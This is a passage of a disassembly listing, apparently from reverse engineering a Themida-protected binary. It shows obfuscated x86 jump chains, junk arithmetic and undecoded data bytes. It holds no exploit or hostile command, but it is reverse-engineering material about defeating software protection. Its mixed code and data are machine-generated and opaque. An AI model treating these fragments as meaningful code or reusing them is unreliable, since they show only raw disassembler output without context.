		pop	esp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		and	[esp], eax
		pushf
		jmp	loc_5509AF
; ---------------------------------------------------------------------------


loc_55D2B8:				; CODE XREF: Themida_:005577ADj
		add	esp, 4
		push	7B35h
		mov	[esp], ebx
		push	75EEh
		mov	[esp], edx
		push	6AE1h
		mov	[esp], ebx
		jmp	loc_5603A5
; ---------------------------------------------------------------------------


loc_55D2DB:				; CODE XREF: Themida_:0055E278j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	11C2h
		mov	[esp], edx
		jmp	loc_563FE3
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 52E78924h, 0FF3FA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D301:				; CODE XREF: Themida_:0055D1A3j
		push	edx
		jmp	loc_55FC2C
; ---------------------------------------------------------------------------
		db 0B8h
		dd 6891D45h, 0FFFBCFE9h, 0E9E189FFh, 3BF1h, 4BE56h, 0F0010000h
		dd 0FF9AB7E9h, 247401FFh, 2C815E04h, 0A355A524h, 4E6FE96Ch
		dd 489FFFFh, 1B3DB824h,	0E94BE6h, 51FFFFE7h, 0F18077B1h
		dd 0E9C88849h, 0FFFF866Eh
dword_55D350	dd 0BF5753ADh, 1740307h, 7FD0EF81h, 0D7F76CC9h,	0FFA6CDE9h
					; DATA XREF: Themida_:00550920o
		dd 2474FFFFh, 48F5804h,	24248B24h, 0F2D9E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D376:				; CODE XREF: Themida_:00551D4Ej
		add	ch, 5Eh
		sub	ch, 89h
		sub	ch, bh
		add	ch, 89h
		sub	ch, 5Eh
		pop	ebx
		mov	bl, ch
		pop	ecx
		not	bl
		or	bl, 3Fh
		or	bl, 0C9h
		jmp	loc_550FE0
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0CCE9242Ch
		db 49h,	2 dup(0FFh)
byte_55D3A3	db 0FFh			; DATA XREF: Themida_:005507E8o
		dd 589D1C77h, 9C240411h, 0FF35FEE9h, 0E9D589FFh, 0FFFFD322h
; ---------------------------------------------------------------------------


loc_55D3B8:				; CODE XREF: Themida_:00556BC5j
		xor	ebp, 0D821D71h
		mov	edx, ebp
		mov	ebp, [esp]
		jmp	loc_55CB82
; ---------------------------------------------------------------------------
		dd 4EC81h, 3C890000h, 81E78924h, 4C7h, 4C78300h, 47FA68h
		dd 243C8900h, 42474FFh,	52243C8Bh, 0C2815A54h, 4, 0E904C283h
		dd 0FFFF93A4h, 4C681h, 18E90000h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D407:				; CODE XREF: Themida_:00565CD9j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	edx, [esp]
		jmp	loc_552630
; ---------------------------------------------------------------------------
aAAIS_j		db '─ц=─цы┬ч[И_J',0
		align 4
		dd 5C241C87h, 31243433h, 0B8E92434h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D43B:				; CODE XREF: Themida_:00559E05j
		mov	ecx, [ebx]
		pop	ebx
		mov	edx, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 18D4413Ch
		and	ecx, 434C7D61h
		shl	ecx, 4
		push	eax
		mov	eax, 408464EEh
		sub	eax, 3C4052EAh
		xor	ecx, eax
		pop	eax
		jmp	loc_554CF0
; ---------------------------------------------------------------------------


loc_55D47C:				; CODE XREF: Themida_:00554B07j
		mov	eax, 14302BDh
		dec	eax
		or	eax, 73A77F3Ch
		xor	eax, 41A6781Ah
		or	edi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55B80B
; ---------------------------------------------------------------------------


loc_55D49A:				; CODE XREF: Themida_:00560E07j
		sub	edx, edi
		pop	edi
		jmp	loc_55DF1F
; ---------------------------------------------------------------------------
aMbaO		db 'M│М"╝;',0
		db 81h,	0C3h, 4Fh
		dd 14FCC47h, 4FEB81EBh,	5D4FCC47h, 0E0AC381h, 0CB815F7Ah
		dd 56301A10h, 0FF9701E9h, 21E951FFh, 1FFFFBAh, 576D05E8h
		dd 0BE5672A6h, 10526B6Fh, 6601BC2Dh, 5F02967h, 676601BCh
		dd 0FF7E95E9h, 31CF31FFh, 81CF31F9h, 8EC759C7h,	5FF829B7h
		dd 81243C8Bh, 4C4h, 339E0500h, 98054D23h, 0E928E421h, 207h
		dd 51DBF781h, 41E943B8h, 5DFFFF72h, 0FF5FDEE9h,	0E9D589FFh
		dd 3A8Bh, 4C181h, 0C1810000h, 4, 31240C33h, 0C33240Ch
		dd 3C335C24h, 243C3124h, 8B243C33h, 0F7662424h,	4A6866E9h
		dd 14896623h, 9C506624h, 0FF344EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D561:				; CODE XREF: Themida_:00554C63j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_558AA3
; ---------------------------------------------------------------------------
		dw 5456h
		dd 5624348Bh, 7114E9h, 2599BD00h, 7CE91826h, 1FFFFEEh
		dd 0C20158C2h, 0FF7D0EE9h, 5BDD30FFh, 501CC580h, 0FFC957E9h
		dd 0E95256FFh, 0FFFFCFF6h
; ---------------------------------------------------------------------------


loc_55D59C:				; CODE XREF: Themida_:00564A29j
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_5623A7
; ---------------------------------------------------------------------------
		db 89h
		dd 241C8BDAh, 81E38953h, 4C3h, 4C38100h, 87000000h, 535C241Ch
		dd 0E953F1BBh, 5BD80158h, 87E9D029h, 87000032h,	248B242Ch
		dd 242C8124h, 69397BACh, 0C6E95556h, 8BFFFFA9h,	0E9522414h
		dd 0FFFFBBAEh
; ---------------------------------------------------------------------------


loc_55D5F4:				; CODE XREF: Themida_:00551E1Bj
		pop	dword ptr [esp]
		jmp	loc_557603
; ---------------------------------------------------------------------------


loc_55D5FC:				; CODE XREF: Themida_:0055C1E6j
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_55E565
; ---------------------------------------------------------------------------
aS_		db ')фИ^_',0
		align 4


loc_55D614:				; CODE XREF: Themida_:0055A5AFj
		pop	eax
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55685D
; ---------------------------------------------------------------------------


loc_55D61E:				; CODE XREF: Themida_:005554AFj
		mov	edi, 6D4951h
		jmp	loc_5602BC
; ---------------------------------------------------------------------------
dword_55D628	dd 6035BE56h, 0D6F72E94h, 6B9F68h, 243C8900h, 1D5846BFh
					; DATA XREF: Themida_:00550834o
		dd 0E7C14F32h, 60BA5205h, 0E9E68EE7h, 0FFFF9A39h, 8324048Bh
		dd 0F6E904C4h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D657:				; CODE XREF: Themida_:00562A15j
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_55ACD1
; ---------------------------------------------------------------------------


loc_55D665:				; CODE XREF: Themida_:00556755j
		mov	eax, 682E206Bh
		sub	ecx, eax
		pop	eax
		add	ecx, ebp
		push	edi
		mov	edi, 413D2C7Bh
		not	edi
		shl	edi, 5
		push	edi
		not	dword ptr [esp]
		jmp	loc_5620EB
; ---------------------------------------------------------------------------
		db 5Ah
		dd 31240C33h, 0C33240Ch, 645FE924h
		db 2 dup(0FFh)
word_55D692	dw 34FFh		; DATA XREF: Themida_:00550770o
aXhmx		db '$Xh╛X',0
		dw 8900h
aHv_0		db ',$hv[',0
		dw 0E900h
		dd 8611h
; ---------------------------------------------------------------------------


loc_55D6A8:				; CODE XREF: Themida_:0055D6E4j
		add	edx, esi
		add	edx, 75E5DC9h
		jmp	loc_550E07
; ---------------------------------------------------------------------------


loc_55D6B5:				; CODE XREF: Themida_:0056472Bj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55EC60
; ---------------------------------------------------------------------------


loc_55D6C3:				; CODE XREF: Themida_:005525C8j
		not	edx
		jmp	loc_55CC30
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFFA772h
; ---------------------------------------------------------------------------


loc_55D6D0:				; CODE XREF: Themida_:00564641j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_562D71
; ---------------------------------------------------------------------------


loc_55D6DE:				; CODE XREF: Themida_:00552186j
		sub	edx, 75E5DC9h
		jmp	loc_55D6A8
; ---------------------------------------------------------------------------


loc_55D6E9:				; CODE XREF: Themida_:005588A4j
		xor	dh, cl
		mov	cx, [esp]
		add	esp, 2
		xor	dh, 30h
		mov	bh, dh
		jmp	loc_552819
; ---------------------------------------------------------------------------


loc_55D6FF:				; CODE XREF: Themida_:00552F4Aj
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_5596DC
; ---------------------------------------------------------------------------


loc_55D70E:				; CODE XREF: Themida_:0055CF43j
		neg	ebp
		xor	ebp, 963CD849h
		jmp	loc_55822D
; ---------------------------------------------------------------------------
		db 1
		dd 21982DD8h, 9E2D28E4h, 574D2333h, 0FF979EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D72D:				; CODE XREF: Themida_:0055BEECj
		shl	esi, 6
		jmp	loc_56540C
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 81240C8Bh, 4C4h, 4C48300h, 0FF81DEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D749:				; CODE XREF: Themida_:00560F80j
		mov	[esp], edx
		push	ecx
		jmp	loc_554135
; ---------------------------------------------------------------------------
		dw 0B1BDh
		dd 0B856163Fh, 0A9E9C053h, 0F5E9E801h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D763:				; CODE XREF: Themida_:0055EFBBj
		mov	[esp], ebp
		push	ebx
		mov	ebx, eax
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_556030
; ---------------------------------------------------------------------------
		db 81h
		dd 0CA7978F7h, 0F32E943h, 0D12D0000h, 8143D53Dh, 4ECh
		dd 24348900h, 50A51BEh,	5EF52911h, 5CE9C501h, 89000073h
		dd 0E9552434h, 48F5h, 5004C083h, 0FFF4CAE9h, 34335AFFh
		dd 24343124h, 8B243433h, 8B662424h, 8952240Ch, 0E95055E2h
		dd 2078h, 5366D830h, 81E28952h,	4C2h, 4EA8300h,	0E9241487h
		dd 79B2h, 0F68078B6h, 6DF680EDh, 0E99BE680h, 153Eh
; ---------------------------------------------------------------------------


loc_55D7F4:				; CODE XREF: Themida_:005565FDj
		mov	eax, 7B245D7Dh
		add	eax, edx
		pop	edx
		jmp	loc_5593DA
; ---------------------------------------------------------------------------
		db 5Ah,	86h, 0CFh
		dd 0CF86D1F6h, 30D1F780h, 241C8BFDh, 0FF40F2E9h, 4EC81FFh
		dd 89000000h, 8BF243Ch,	52091A0Fh, 5A3DEBBAh, 37BE5642h
		dd 0E914CD6Fh, 0FFFF5989h, 81243C8Bh, 4C4h, 618EE900h
		dd 815FFFFFh, 0C04246Ch, 81792F20h, 57042444h, 295D8F4Ah
		dd 81042474h, 5704246Ch, 815D8F4Ah, 0C042444h, 5E792F20h
		dd 0FF3142E9h, 3C8B5EFFh, 0E2895224h, 4C281h, 5FE90000h
		db 0EAh, 2 dup(0FFh)
aNhsl		db '╜hАl',0             ; DATA XREF: Themida_:00550918o
		dd 24048900h, 8D6E4EB8h, 3E93E936h, 0E95BFFFFh,	0A99h
		dd 0E9240489h, 0FFFF43B8h
; ---------------------------------------------------------------------------


loc_55D8A0:				; CODE XREF: Themida_:005626C7j
		add	ebp, 3041726Bh
		sub	ebp, 45EB370Ah
		neg	ebp
		inc	ebp
		not	ebp
		sub	ebp, 0A83F27D5h
		sub	ecx, ebp
		pop	ebp
		sub	ecx, 57B56725h
		jmp	loc_560607
; ---------------------------------------------------------------------------


loc_55D8C5:				; CODE XREF: Themida_:005587B0j
		xor	ebp, ebx
		pop	ebx
		jmp	loc_5551D4
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 10h
		dd 0C12FAF06h, 0C7E904EDh, 81FFFFFBh, 7C012DEBh, 0EB815F62h
		dd 2, 393BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D8ED:				; CODE XREF: Themida_:00559B42j
		push	ecx
		jmp	loc_5519D7
; ---------------------------------------------------------------------------


loc_55D8F3:				; CODE XREF: Themida_:0056007Dj
		push	ebx
		mov	ebx, 46000C8Bh
		xor	esi, ebx
		pop	ebx
		sub	esi, 0BC49E164h
		sub	edi, esi
		jmp	loc_55C19A
; ---------------------------------------------------------------------------
		db 0C0h, 0EFh, 3
		dd 0CBB6E952h, 34FFFFFFh, 41685687h, 0E900004Dh, 0FFFFB34Eh
; ---------------------------------------------------------------------------


loc_55D920:				; CODE XREF: Themida_:00562B01j
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_5655FE
; ---------------------------------------------------------------------------
		db 5Fh,	59h, 0FFh
		dd 0F2E92434h, 81FFFFF0h, 2C4h,	0F0C38000h, 0C8EB80h, 0B05066C3h
		dd 66C300C8h, 6824048Bh, 2988h,	89240489h, 405E0h, 2050000h
		dd 50000000h, 794AE9h, 0EC815700h, 4, 52242489h, 4BAh
		dd 24540100h, 735CE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D98E:				; CODE XREF: Themida_:00554233j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_556BFE
; ---------------------------------------------------------------------------


loc_55D99C:				; CODE XREF: Themida_:00556E7Aj
		neg	eax
		add	eax, 20FA1DCDh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 9A0DB0C4h
		add	eax, 4E8709F4h
		sub	eax, edx
		jmp	loc_557F71
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 81h
		dd 0FE2FA8C6h, 364CE901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D9CA:				; CODE XREF: Themida_:0055CB49j
		add	edx, edi
		pop	edi
		add	edx, edi
		jmp	loc_565BFD
; ---------------------------------------------------------------------------
		dd 2414895Ch, 0D4BA3BAh, 9D81E92Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D9E2:				; CODE XREF: Themida_:00557AEFj
		mov	edi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5605E3
; ---------------------------------------------------------------------------


loc_55D9F4:				; CODE XREF: Themida_:0055DA4Dj
		add	edx, 39F13DEBh
		inc	edx
		sub	edx, 7001C87h
		jmp	loc_5643A0
; ---------------------------------------------------------------------------
		dw 0ED25h
		dd 0E96D363Bh, 0FFFFDFF9h
; ---------------------------------------------------------------------------


loc_55DA10:				; CODE XREF: Themida_:0055FA3Ej
		mov	esi, 4D545C36h
		xor	edx, esi
		pop	esi
		mov	ebx, edx
		pop	edx
		jmp	loc_55B89A
; ---------------------------------------------------------------------------
		dd 730BB92Dh, 0F452D39h, 52E93A03h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DA2F:				; CODE XREF: Themida_:0055E807j
		pop	esp
		add	esi, 44436565h
		sub	esi, 354059B9h
		push	ebx
		mov	ebx, 75DF260Dh
		sub	esi, ebx
		pop	ebx
		add	esi, eax
		push	edx
		mov	edx, 7A4D6A71h
		jmp	loc_55D9F4
; ---------------------------------------------------------------------------


loc_55DA52:				; CODE XREF: Themida_:00551494j
		push	edi
		mov	edi, esp
		push	eax
		sub	esp, 4
		jmp	loc_554E87
; ---------------------------------------------------------------------------


loc_55DA61:				; CODE XREF: Themida_:0055ABC1j
		dec	ebp
		xor	ebp, 42424BFFh
		add	ecx, ebp
		pop	ebp
		mov	eax, [esp]
		jmp	loc_55A99E
; ---------------------------------------------------------------------------


loc_55DA73:				; CODE XREF: Themida_:005585FDj
		pop	esp
		add	esp, 4


loc_55DA77:				; CODE XREF: Themida_:0055AC7Ej
		push	edi
		jmp	loc_563A85
; ---------------------------------------------------------------------------


loc_55DA7D:				; CODE XREF: Themida_:00555E5Aj
		add	eax, edx
		pop	edx
		jmp	loc_5611CD
; ---------------------------------------------------------------------------
		db 87h,	2Ch, 24h
		dd 3B0F685Ch, 11E90000h, 5000066h, 7D2A0274h, 0E9243C8Bh
		dd 0FFFFCAE2h
dword_55DAA0	dd 240C8B66h, 8904EC83h, 58542404h, 78D0BA52h, 0C2814270h
					; DATA XREF: Themida_:00550750o
		dd 0AEF3329h, 6C22BE56h, 0DEF71D21h, 0C2E9DEF7h, 5BFFFF3Dh
		dd 0A2E9DF87h, 8FFFFFF7h, 248B2404h, 0FBB75324h, 0E9E68956h
		dd 0CAh
; ---------------------------------------------------------------------------


loc_55DAE0:				; CODE XREF: Themida_:0055A07Ej
		or	eax, 29DF0537h
		and	eax, 47302186h
		or	eax, 61E340C4h
		sub	eax, 67F361C2h
		add	esi, eax
		pop	eax
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 1
		jmp	loc_558E7F
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFE887h, 3A3ABA52h, 0D13152FBh, 0FFC405E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DB21:				; CODE XREF: Themida_:005641EBj
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 4
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	esi
		jmp	loc_551B51
; ---------------------------------------------------------------------------
		db 88h
		dd 0E95259E8h, 0FFFF75E4h, 4BDh, 5DEF0100h, 31243C33h
		dd 3C33243Ch, 0C1835C24h, 9BD4E902h, 0EBDFFFFh,	0E941BC6Eh
		dd 5348h, 81F70159h, 0A51AE6C7h, 3C335E25h, 243C3124h
		dd 8B243C33h, 0C4812424h, 4, 44366852h,	24890000h, 24048324h
		dd 24148B04h, 5304C483h, 3CB6BA52h, 8950187Ah, 4D05E9D0h
		dd 0C681FFFFh, 4, 4EE81h, 34870000h, 0C895C24h,	349BE924h
		dd 0F8290000h, 8B2434FFh, 0C481243Ch, 4, 4C481h, 72E90000h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DBDB:				; CODE XREF: Themida_:0055E785j
		push	eax
		mov	eax, 0
		sub	eax, 372F60B2h
		add	eax, 4B3300DCh
		jmp	loc_5568D3
; ---------------------------------------------------------------------------
		dd 51AE952h, 15A0000h, 25EF81EFh, 53638B77h, 0F826A6BBh
		dd 78BA527Ch, 0E9D4363Ch, 3060h, 0B151FA00h, 32E9805Ch
		dd 0E9CDEA80h, 2E7Dh
; ---------------------------------------------------------------------------


loc_55DC20:				; CODE XREF: Themida_:00553DEEj
		pop	edx
		sub	ebx, ebp
		sub	ebx, 6386511h
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		xchg	ebx, ebp
		jmp	loc_55C8B5
; ---------------------------------------------------------------------------


loc_55DC3F:				; CODE XREF: Themida_:00555431j
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_55A0B7
; ---------------------------------------------------------------------------
		dd 4304C483h, 0B5E38143h, 0E90AA245h, 2CC8h
; ---------------------------------------------------------------------------


loc_55DC60:				; CODE XREF: Themida_:00557778j
		or	esi, 1A22696Fh
		push	ebx
		mov	ebx, 0AB71C2h
		xor	esi, ebx
		pop	ebx
		shr	esi, 7
		jmp	loc_562E4F
; ---------------------------------------------------------------------------
aBa2JSy9	db '│М2)j Иy9',0
		align 2
aSa_0		db '[И═`',0
		align 4
		dd 4EB835Eh, 2474FF53h,	4BE3E904h, 51580000h, 9433E7B9h
		dd 2E1C16Ch, 4B4AC181h,	0CF297354h, 0FFFEBFE9h,	3DEB80FFh
		dd 8B79C380h, 0C4832414h, 578FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DCBE:				; CODE XREF: Themida_:00563916j
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_55E803
; ---------------------------------------------------------------------------
		dd 0BD222868h, 0FF2D5845h, 0E9FFFFFFh, 0FFFFA633h
; ---------------------------------------------------------------------------


loc_55DCD8:				; CODE XREF: Themida_:00550C80j
		mov	esp, [esp]
		push	edx
		jmp	loc_55EFC0
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0E1h
		dd 0E90FB2B0h, 0FFFF5CC8h
dword_55DCEC	dd 52E38953h, 0BB44B0BAh, 81DAF711h, 744446E2h,	67F2816Ah
					; DATA XREF: Themida_:00550930o
		dd 4A308E65h, 0B1C2814Ah, 81F029B1h, 0A841EAE2h, 0CBCA8109h
		dd 8166DB7Fh, 48039C2h,	5AD30191h, 0FFB3B4E9h, 8BEF88FFh
		dd 0C483240Ch, 0FA885204h, 7857E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DD35:				; CODE XREF: Themida_:0055C7DAj
		push	3E9Dh
		mov	[esp], eax
		push	edx
		jmp	loc_560393
; ---------------------------------------------------------------------------
		db 56h
		dd 0E81780BEh, 5EF2012Bh, 4EC81h, 2C890000h, 4EC8124h
		dd 0E9000000h, 0FFFF8A58h, 8105E2C1h, 0A24C41F2h, 0C3F28132h
		dd 893A8641h, 97E95AD3h, 4900003Dh, 0E981D1F7h,	6C8B84F0h
		dd 0FF4E3FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DD85:				; CODE XREF: Themida_:00561B29j
		push	eax
		mov	ah, ch
		mov	dl, ah
		pop	eax
		mov	bl, dl
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	ecx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55C341
; ---------------------------------------------------------------------------
		dd 8003B4BDh, 0B8F5812Ch, 8174E312h, 0B75DB4F5h, 0E9EB214Eh
		dd 0FFFFB537h, 4C481h, 0C1810000h, 2, 5F44E9h, 241C8B00h
		dd 0E9E28952h, 0FFFFB165h, 835AD001h, 48704E8h,	0FBF2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DDE2:				; CODE XREF: Themida_:0055500Cj
		inc	bl
		and	bl, 0C2h
		and	bl, 0F1h
		dec	bl
		shr	bl, 7
		xor	bl, 85h
		sub	cl, bl
		pop	ebx
		not	cl
		sub	cl, 0Ah
		not	cl
		dec	cl
		not	cl
		jmp	loc_561D45
; ---------------------------------------------------------------------------
		db 51h,	0FFh, 74h
		dd 0C8B0424h, 4C48324h,	0FFFCBAE9h, 0DCBB53FFh,	8127D274h
		dd 413FC3EBh, 8BDE0910h, 0C483241Ch, 0A8B85004h, 8161FD4Fh
		dd 43479FC6h, 0CFB5E912h, 8F5EFFFFh, 248B2404h,	4A30F24h
		dd 39E99C24h, 81FFFF48h, 27BD1CBh, 0AACB8172h, 815EE66Ah
		dd 8E0B8CC3h, 5BD8293Eh, 0FF9D14E9h, 0E9C389FFh, 4AADh
; ---------------------------------------------------------------------------


loc_55DE6C:				; CODE XREF: Themida_:005529FAj
		push	ecx
		jmp	loc_55AD07
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5F0424h, 895C2404h, 0A9E92404h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DE83:				; CODE XREF: Themida_:0055BCDBj
		mov	edi, esi
		pop	esi
		jmp	loc_55F8E7
; ---------------------------------------------------------------------------
		db 81h
		dd 0C812F1E3h, 81D3F70Eh, 413A14C3h, 5ABFE9F1h,	0C683FFFFh
		dd 0E4C68101h, 0E90BB0BCh, 0FFFFE933h
; ---------------------------------------------------------------------------


loc_55DEAC:				; CODE XREF: Themida_:00556371j
		add	esp, 4
		xchg	ebx, ebp
		push	7B2Eh
		mov	[esp], eax
		jmp	loc_556BD5
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 4, 31241C33h, 1C33241Ch, 709AE924h, 48FFFFFh, 24248B24h
		dd 240C8966h, 0C830E7B1h, 240C8B66h, 55E28952h,	0FF6C96E9h
		dd 20F380FFh, 0D4F6E386h, 0FF6741E9h, 24348BFFh, 0FFD0B7E9h
		dd 2C483FFh, 6B64E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DF09:				; CODE XREF: Themida_:0055983Dj
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_5583F8
		push	dword ptr [edi+28h]
		jmp	loc_5564D2
; ---------------------------------------------------------------------------


loc_55DF1F:				; CODE XREF: Themida_:0055D49Dj
		add	edx, eax
		jmp	loc_5616C3
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 708EE956h, 2C890000h, 93685324h, 8B3AD301h, 0C483241Ch
		dd 38B85004h, 2D22D438h, 5DA739C7h, 0FF6445E9h,	34ED81FFh
		dd 0E922EB0Ah, 54B0h, 650772Dh,	5D8016Bh, 6B065077h, 8EA6857h
		dd 295F592Fh, 0BA525FF8h, 47A73F75h, 685AD029h,	47D6h
		dd 0BD242C89h, 6024E412h, 4EC81h, 34890000h, 11FDBE24h
		dd 0D92D308Ah, 5477161h, 1F32591h, 13E9F029h, 89FFFF4Ah
		dd 0BE5652E7h, 56F75BCDh, 0FFB7F2E9h
		db 0FFh
byte_55DFB5	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0055077Co
		dd 1858669Dh, 0E99C2404h, 786Eh, 4C481h, 0FDE90000h, 0B7000029h
		dd 66F8089Eh, 66D22C5Bh, 3016B652h, 148B66F0h, 2C48324h
		dd 0C049B050h, 9B3406E0h, 0FF30C6E9h, 0C8BD55FFh, 81119542h
		dd 19392EF5h, 8EDC110h,	4D04E5C1h, 1865ED81h, 0F5813BF7h
		dd 0D1C0CDB7h, 34FFEA21h, 0C4835D24h, 56D2F704h, 0A23F35BEh
		dd 9FEE8118h, 21DBB202h, 4D31E9F2h, 94BDFFFFh, 890DDA21h
		dd 5F58E9EEh, 0E95EFFFFh, 0FFFF657Fh, 0FE89DF89h, 0FFB058E9h
		dd 2434FFFFh, 4C48158h,	52000000h, 65CDE9h, 24248900h
		dd 0FF33D9E9h, 6DEB81FFh, 578544D5h, 0FFFFD3E9h, 0CB895AFFh
		dd 0FFC093E9h, 2155BFFFh, 0F6E9F145h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E07F:				; CODE XREF: Themida_:00558757j
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_557027
; ---------------------------------------------------------------------------
aUhR		db 'UhхR',0
		dw 8900h
		dd 10BB241Ch, 0E912E040h, 224Eh, 0A0E972B4h, 8F00006Ch
		dd 895C2404h, 6CE9243Ch, 5D00002Eh, 81E28952h, 4C2h, 6343E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E0CA:				; CODE XREF: Themida_:00562076j
		add	esi, ecx
		push	ebp
		jmp	loc_55618E
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFE1A0h, 0AE2DF4B9h, 74B1BA3Bh, 0CA313AB9h, 5AD78959h
		dd 81E28952h, 4C2h, 8FBB5300h, 815BF946h, 0E541E3EBh, 0DD40E95Ch
		dd 0C181FFFFh, 4, 0E904E983h, 0FFFFD895h, 4BAh,	0E9D10100h
		dd 0FFFF6368h
; ---------------------------------------------------------------------------


loc_55E11C:				; CODE XREF: Themida_:0055F7A7j
		mov	si, 3C22h
		sub	si, 32Fh
		add	si, 6656h
		not	si
		inc	si
		add	si, 245h
		xor	ax, si
		jmp	loc_55A2D3
; ---------------------------------------------------------------------------
		dd 8869C480h, 24048BE6h, 7352E950h, 3489FFFFh, 81E68924h
		dd 4C6h, 4EE8300h, 62D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E15D:				; CODE XREF: Themida_:005631ACj
		add	ebp, edi
		pop	edi
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, edi
		pop	edi
		push	edi
		push	58ACh
		mov	[esp], ecx
		push	100C7AAAh
		pop	ecx
		shr	ecx, 5
		jmp	loc_551645
; ---------------------------------------------------------------------------
		db 5Ah,	0Fh, 0B6h
		dd 87048DC0h, 815A5452h, 4C2h, 656EE900h, 0BE2CFFFFh, 592434FFh
		dd 4C481h, 35680000h, 89000077h, 0D7E92414h, 81FFFFA1h
		dd 4C7h, 7D7EE900h, 0F480FFFFh,	460AE9A3h, 34890000h, 7F646824h
		dd 3C890000h, 0DEFCE924h, 9E68FFFFh, 89000064h,	0C1E9241Ch
		dd 89000072h, 74FF2414h, 34FF0424h, 2434FF24h, 3F6DE9h
		dd 81475800h, 217480E7h, 8439E90Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E202:				; CODE XREF: Themida_:0055828Bj
		push	dword ptr [esp]
		pop	edi
		push	esi
		jmp	loc_55C169
; ---------------------------------------------------------------------------


loc_55E20C:				; CODE XREF: Themida_:00555802j
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_552441
; ---------------------------------------------------------------------------
		db 5Ch
		dd 89241489h, 431068E2h, 2C890000h, 0D54DE924h,	0D029FFFFh
		dd 1BBBE9h, 0F8BA5200h,	8179C155h, 701114EAh, 0EBE9562Ch
		dd 1000067h, 0E6BA52FEh, 0E94CF46Bh, 65C1h, 0E9240C89h
		dd 6F78h
; ---------------------------------------------------------------------------


loc_55E258:				; CODE XREF: Themida_:00561F5Bj
		mov	edi, 4C597AB8h
		inc	edi
		dec	edi
		dec	edi
		jmp	loc_55F385
; ---------------------------------------------------------------------------


loc_55E265:				; CODE XREF: Themida_:00563F72j
		pop	eax
